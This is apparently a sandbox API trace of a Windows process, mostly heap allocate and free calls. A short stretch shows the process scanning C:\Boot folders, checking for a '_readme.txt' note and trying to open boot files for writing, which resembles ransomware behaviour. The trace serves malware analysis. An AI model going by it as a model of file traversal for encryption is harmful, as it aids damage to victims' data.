[0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.834] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.835] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.835] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.836] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.836] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.838] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.839] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.839] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.839] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.839] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.839] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0066.839] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.839] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.839] PathFindFileNameW (pszPath="") returned="" [0066.839] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.840] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.840] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.840] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.840] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.840] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.840] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.840] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0066.840] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0066.840] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.841] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32e4870, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32e4870, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.841] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.841] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32e4870, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32e4870, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.841] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.841] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0066.841] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.841] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.841] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32e4870, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32e4870, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32e4870, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.841] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned=".txt" [0066.841] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.841] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32e4870, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32e4870, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32e4870, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.841] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.841] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.841] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.841] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.842] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.842] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 